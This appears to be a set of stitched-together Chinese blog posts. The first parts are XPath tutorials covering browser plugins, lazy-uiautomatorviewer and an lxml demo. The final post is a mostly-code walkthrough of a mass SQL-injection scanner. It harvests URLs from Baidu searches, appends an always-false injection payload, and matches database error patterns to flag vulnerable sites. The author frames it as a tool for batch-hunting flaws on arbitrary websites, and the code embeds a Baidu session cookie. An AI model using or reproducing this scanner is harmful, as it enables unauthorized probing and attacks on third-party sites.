xpath获取步骤：
1、打开火狐浏览器；
2、选择  “打开菜单” -> "附加组件"  如下图所示：


3、在 “搜素所有附加组件” 输入框中搜索Firebug


4、搜索到 Firebug 单击安装：


5、用以上方法搜索 FirePath 并安装：
 
6、重启浏览器，插件安装成功；
7、打开要获取Xpath的网页并进行一下操作，即可获得元素XPath：

参考文档：http://blog.csdn.net/kaka1121/article/details/53301517 
在写脚本的过程中，总是遇到标签没有ID或者name等类似的唯一识别属性，为了能识别到这些对象，只能通过xpath了。可是sdk自带的uiautomatorviewer并不能获得xpath。在网上找到一个资源可以自动获取xpath–lazy-uiautomatorviewer. 
jar包下载地址：http://download.csdn.net/detail/kaka1121/9685936； 
源码下载地址：https://github.com/lazytestteam/lazyuiautomatorviewer;
我自己的放在了百度云上
 
1.下载 
下载好jar包后把uiautomatorviewer.jar拷贝到安卓安装目录下的 
\android-sdk\tools\lib 文件夹中替换掉原来的uiautomatorviewer.jar包。 
双击安卓安装目录下的 \android-sdk\tools\uiautomatorviewer.bat 文件，启动lazy-uiautomatorviewer。 
2。使用 
打开后的uiautomator view如下显示 
 
在识别元素时，选择左上角的device screenshot,而不用device screenshot with compressed。第二个是经过压缩后的screenshot，得到xpath也是不全的，通过这个xpath很有可能会识别不到对象。 

得到xpath 之后就可以通过driver.find_element_by_xpath(”)的方法来操作对象了。
转载于:https://www.cnblogs.com/kaibindirver/p/8158280.html

from lxml import etree
from html import unescape

"""
lxml 可以接收 bytes 与 str 类型的数据
"""

temp_file = open("find_demo.html", "r", encoding="utf-8").read()

# print(temp_file)

# 首先需要获得一个 Element Html对象
# 通过.HTML() 创建对象会自动补全里面的标签 需要注意
html = etree.HTML(temp_file)
print(html)
html2 = etree.tostring(html).decode()
# print("未处理html实体编码的str:================================\n{}".format(html2))
# 解码html中文的深度编码
print("已处理html实体编码的str:================================\n{}".format(unescape(html2)))

unescape(etree.tostring(html).decode())

# 获取其中点赞的数据
ret1 = html.xpath("//div/a[@class='good']/span/text()")
# ret1 = html.xpath("//div/a[contains(@class,'good')]/span/text()")
# (//a[@class='recmd-left multi'] | //a[@class='recmd-left video'])/img/@src
# (
print(ret1)

# 获取其中的href属性
ret2 = html.xpath("//div/a[@class='good']/@href")
print(ret2)

print("=" * 100)

# 分组 一个标签下获取多个属性时 封装 list(object)
ret3 = html.xpath("//div[@class='fen']/a")
print(ret3)
# 遍历每条element
result = []
for i in ret3:
    obj = {}
    # 每条信息
    # print(unescape(etree.tostring(i).decode("utf-8")))
    # 再对当前element 获取属性封装成json数据
    # obj["href"] = i.xpath("../a/@href")[0]
    # obj["title"] = i.xpath("../a/@title")[0]
    # obj["content"] = i.xpath("../a/text()")[0]

    t1 = i.xpath("@href")
    t2 = i.xpath("@title")
    t3 = i.xpath("text()")
    obj["href"] = t1[0] if len(t1) > 0 else None
    obj["title"] = t2[0] if len(t2) > 0 else None
    obj["content"] = t3[0] if len(t3) > 0 else None
    # print(obj)
    result.append(obj)

print(result)

前言：
曾经在网上发现了一款sql注入自动扫描工具–傀儡扫描器，虽然好用但是时不时就会莫名其妙的暂停，所以想尝试写一个类似的工具锻炼一下自己的python（大佬勿喷🤭）
爬虫
首先想要获得大量的漏洞那我们就需要大量的url来提供测试，所以需要对网站进行爬取，可以通过对百度根据关键字进行爬虫，然后利用xpath来提取关键字符
def baidu_search(target,page):
    parment = {
        'wd': target,
        'pn': (page*10)

    }
    url = "https://www.baidu.com/s?ie=utf-8&tn=SE_PSStatistics_p1d9m0nf&p_tk=5922EG4%2BtDYMH4cXzQyoeoiVui3lG1X%2BRvRh88szQUd4z99uxlCQ03vp7snTCsYJAxPvx4GsF6t4gqxT2Mxioj4XGndlZX1m%2Fi7cSnkGsZwvBwu3%2BrenWNED9IqLRGhWBBGz&p_timestamp=1605835171&p_signature=a9f4e7b5639627ec3a4934a1977e6e15"
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        'cookie':'BIDUPSID=F3EB4BA37D4753BF640A5ECA6D31240D; BAIDUID=05DC758E7BC482A1E483C1C9737176CA:FG=1; PSTM=1598272642; BD_UPN=13314752; ispeed_lsm=2; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598; H_PS_PSSID=1464_33059_31660_32970_33098_33101_32962_26350; BDRCVFR[gltLrB7qNCt]=mbxnW11j9Dfmh7GuZR8mvqV; delPer=0; BD_CK_SAM=1; PSINO=5; H_PS_645EC=03b9lBvk8tC8aeNMx12CQ5pc6b5DiB6LyW5VHgdx10UKfBSq%2FrkohOHJCeT1hIjm6GC%2BVj3cFv2MvnjFVzz6; BA_HECTOR=a08l002g040h8ha1pl1fre6180q; kleck=9820b890c953eeae5f70c952f62a797d; COOKIE_SESSION=58510_0_7_6_6_9_0_1_6_4_0_0_59355_0_77_0_1605833867_0_1605833790%7C9%23156073_20_1605751873%7C9; BDRCVFR[t8qxwL5sMGc]=mk3SLVN4HKm; BDRCVFR[Fc9oatPmwxn]=mk3SLVN4HKm; rsv_jmp_slow=1605834338318; ZD_ENTRY=baidu'
    }
    test = requests.get(url, params=parment,headers=header)
    baidu = test.text
    print(test.url)

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    baidu.encode('UTF-8')
    html = etree.HTML(baidu)
    html_data = html.xpath('//*[@class="t"]/a/@href')
    for i in html_data:
    	print(i)

这个样子就可以获取到我们想要的网站url了，但是这个链接输出只是百度的一个超链接，需要再跳转我们才可以访问到我们想要的链接，所以需要再次request然后获取到request.url的值
二次爬虫
这个爬虫通过下面的target.url可以成功获取到url的值。
def target_link(urls):
    url = urls
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
    }
    try:
        target = requests.get(url, headers=header, timeout=5, verify=False)
        target_url = target.url#获取前面百度超链接跳转的url
        with  open('url.txt', 'a', encoding='UTF-8') as f:
            f.write(str(target_url))
            f.write('\n')
    except:
        pass

这里就是对第一次爬取百度的超链接的一个二次爬虫，从而得到网站真正的url，然后输入写入文件。
检测注入
接下来就是最后一步，由于只是简单的检测注入，可以输入单引号使网站报错，然后通过正则匹配关键字来发现报错的内容然后输出就可以了。
def sql_check(url):
    if '?' not in url:
        print('error')
        return False
    urls = url + "/**/and/**/'1'='2"
    #print(urls)
    r = requests.get(urls)

    respose = r.text
    DBMS_ERRORS = {
        # regular expressions used for DBMS recognition based on error message response
        "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
        "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
        "Microsoft SQL Server": (
            r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver",
            r"Warning.*mssql_.*",
            r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",
            r"(?s)Exception.*\WRoadhouse\.Cms\."),
        "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
        "Oracle": (
            r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*",
            r"Warning.*\Wora_.*"),
        "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
        "SQLite": (
            r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException",
            r"Warning.*sqlite_.*",
            r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
        "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
    }
    for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
        if (re.search(regex, respose)):
            print(url)
            with  open('example.txt', 'a', encoding='UTF-8') as file:
                file.write(str(url))
                print('存在漏洞：' + url)
                file.write('\n')

这个代码最开始？是判断网站是否是xx.xxx?xxx=xxx如果不是的话自动忽略，可以节省时间，然后下面是对url的一个拼接，通过添加"//and//‘1’='2"来使网站报错，然后获取网站的内容，用下面的匹配式进行匹配（网上嫖的），最后进行输出，同时写入文件中。
结语
这里只是简单的介绍了一下工具的思路，最后采用多进程来加快速度，实现批量刷洞。

ps：工具已经分享到了csdn上。可以自行下载。（工具105行有个小bug，需要大家调试一哈哦）